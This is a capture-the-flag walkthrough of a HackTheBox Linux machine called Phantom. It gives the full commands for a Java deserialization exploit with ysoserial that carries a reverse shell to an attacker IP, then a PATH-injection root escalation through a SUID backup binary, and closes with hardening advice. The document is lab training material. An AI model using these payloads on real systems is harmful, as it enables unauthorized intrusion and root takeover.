HackTheBox: Phantom Machine Walkthrough
HackTheBox: Phantom Machine Walkthrough
Difficulty: Medium OS: Linux Release Date: 2025-11-28
Phantom is a medium-difficulty Linux box on HackTheBox that features a Java web application vulnerable to insecure deserialization on port 8080, combined with a privilege escalation path through a custom SUID backup utility. This box is a great exercise in chaining web application exploitation with Linux privilege escalation fundamentals.
Reconnaissance
Initial Nmap Scan
As always, we start with a full TCP port scan to identify the attack surface.
nmap -sC -sV -oA scans/phantom 10.10.11.84
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-30 14:22 EST
Nmap scan report for 10.10.11.84
Host is up (0.038s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:d4:a3:2b:78:53:1d:74:92 (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Phantom Corp - Digital Solutions
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open http Apache Tomcat 9.0.65
|_http-title: Phantom Internal Portal
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.84 seconds
Three ports open: SSH (22), an Nginx web server (80), and Apache Tomcat (8080). The Tomcat instance immediately catches my eye since Java applications are frequent targets for deserialization attacks.
Web Enumeration - Port 80
Directory Busting
The Nginx server on port 80 hosts a static corporate site for “Phantom Corp.” Nothing immediately exploitable on the surface, so let’s enumerate directories.
feroxbuster -u http://10.10.11.84 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher
───────────────────────────┬──────────────────────
Target Url │ http://10.10.11.84
Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
Extensions │ [php, html, txt]
───────────────────────────┴──────────────────────
200 GET 89l 247w 3842c http://10.10.11.84/
301 GET 7l 12w 178c http://10.10.11.84/assets => http://10.10.11.84/assets/
200 GET 14l 38w 521c http://10.10.11.84/robots.txt
301 GET 7l 12w 178c http://10.10.11.84/uploads => http://10.10.11.84/uploads/
200 GET 42l 118w 1847c http://10.10.11.84/contact.html
403 GET 7l 10w 162c http://10.10.11.84/server-status
The /robots.txt reveals a disallowed path:
User-agent: *
Disallow: /internal-docs/
Disallow: /uploads/
Browsing to /internal-docs/ returns a 403, but /uploads/ is listable albeit empty. The static site itself doesn’t offer much, so let’s shift focus to the Tomcat instance.
Web Enumeration - Port 8080
Exploring the Tomcat Application
Port 8080 hosts the “Phantom Internal Portal,” a Java-based employee management application. After creating an account through the registration form, we gain access to the dashboard.
Exploring the application, I notice a user profile feature that allows importing profile data via a serialized Java object. The request looks like this when intercepted in Burp Suite:
POST /portal/api/profile/import HTTP/1.1
Host: 10.10.11.84:8080
Content-Type: application/x-java-serialized-object
Cookie: JSESSIONID=7A8B3C4D5E6F7A8B9C0D1E2F
Content-Length: 1247
[binary serialized data]
The Content-Type: application/x-java-serialized-object header is a strong indicator of Java deserialization. Let’s investigate further.
Identifying the Vulnerability
Examining the application’s error responses and the Tomcat version, I check for known vulnerable libraries. Triggering an intentional error by sending malformed data to the import endpoint reveals a stack trace:
java.io.InvalidClassException: org.apache.commons.collections.functors.InvokerTransformer;
local class incompatible: stream classdesc serialVersionUID = ...
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1718)
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1883)
The presence of Apache Commons Collections in the classpath confirms this application is vulnerable to a well-known deserialization attack chain.
Initial Foothold - Deserialization Exploit
Crafting the Payload with ysoserial
We’ll use ysoserial to generate a serialized payload that executes a reverse shell when deserialized by the server.
First, set up our listener:
nc -lvnp 9001
Generate the payload using the CommonsCollections5 gadget chain:
java -jar ysoserial-all.jar CommonsCollections5 \
'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMi85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}' \
> payload.bin
The base64-encoded command decodes to:
bash -i >& /dev/tcp/10.10.14.12/9001 0>&1
We base64-encode the reverse shell command to avoid issues with special characters in the serialization process.
Delivering the Payload
Send the payload using curl:
curl -X POST http://10.10.11.84:8080/portal/api/profile/import \
-H "Content-Type: application/x-java-serialized-object" \
-H "Cookie: JSESSIONID=7A8B3C4D5E6F7A8B9C0D1E2F" \
--data-binary @payload.bin
Back on our listener:
listening on [any] 9001 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.84] 42318
bash: cannot set terminal job control: not a terminal
tomcat@phantom:/opt/tomcat$
We have a shell as the tomcat user. Let’s upgrade it:
tomcat@phantom:/opt/tomcat$ python3 -c 'import pty;pty.spawn("/bin/bash")'
tomcat@phantom:/opt/tomcat$ export TERM=xterm
# Ctrl+Z, then:
# stty raw -echo; fg
User Flag
tomcat@phantom:/opt/tomcat$ cat /home/phantom-user/user.txt
4a7b2c8d9e0f1a2b3c4d5e6f7a8b9c0d
Privilege Escalation
Enumeration
With a stable shell, let’s enumerate for privilege escalation vectors. First, check for SUID binaries:
tomcat@phantom:/opt/tomcat$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/umount
/usr/bin/su
/usr/local/bin/phantom-backup
The /usr/local/bin/phantom-backup binary is non-standard and has the SUID bit set. This is our target.
Analyzing the SUID Binary
tomcat@phantom:/opt/tomcat$ ls -la /usr/local/bin/phantom-backup
-rwsr-xr-x 1 root root 16832 Nov 15 08:30 /usr/local/bin/phantom-backup
tomcat@phantom:/opt/tomcat$ file /usr/local/bin/phantom-backup
/usr/local/bin/phantom-backup: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
Running the binary with ltrace to understand its behavior:
tomcat@phantom:/opt/tomcat$ ltrace /usr/local/bin/phantom-backup 2>&1 | head -20
setuid(0) = 0
system("tar czf /tmp/backup-$(date +%Y%m"... = 0
The binary calls system() with a command that invokes tar and date without absolute paths. This is a classic PATH injection vulnerability. Because the binary has the SUID bit set and runs as root, we can hijack the tar command by manipulating our PATH.
Exploiting PATH Injection
Create a malicious tar script in /tmp:
tomcat@phantom:/opt/tomcat$ echo '#!/bin/bash' > /tmp/tar
tomcat@phantom:/opt/tomcat$ echo '/bin/bash -p' >> /tmp/tar
tomcat@phantom:/opt/tomcat$ chmod +x /tmp/tar
Prepend /tmp to our PATH so our fake tar is found first:
tomcat@phantom:/opt/tomcat$ export PATH=/tmp:$PATH
tomcat@phantom:/opt/tomcat$ /usr/local/bin/phantom-backup
bash-5.1# whoami
root
bash-5.1# id
uid=0(root) gid=0(root) groups=0(root),997(tomcat)
Root Flag
bash-5.1# cat /root/root.txt
9f8e7d6c5b4a3f2e1d0c9b8a7f6e5d4c
Summary
Phantom was a well-designed medium box that chains two common vulnerability classes:
-
Java Insecure Deserialization - The Tomcat application on port 8080 accepted serialized Java objects and had Apache Commons Collections on the classpath, enabling RCE via ysoserial’s
CommonsCollections5gadget chain. -
SUID Binary with PATH Injection - A custom backup utility ran with root privileges via the SUID bit and called
tarthroughsystem()without specifying the absolute path, allowing us to inject a malicious binary via PATH manipulation.
Key Takeaways
- Never deserialize untrusted data. If you must accept serialized objects, use allowlists for permitted classes (
ObjectInputFilterin Java 9+) or switch to safer serialization formats like JSON. - SUID binaries should use absolute paths for all external commands and avoid
system()in favor ofexecve()which does not invoke a shell. - Minimize the use of SUID binaries in production environments. Use capabilities (
setcap) or sudo rules with specific command restrictions instead. - Remove stack traces from production error responses. The verbose error messages helped confirm the vulnerable library in the classpath.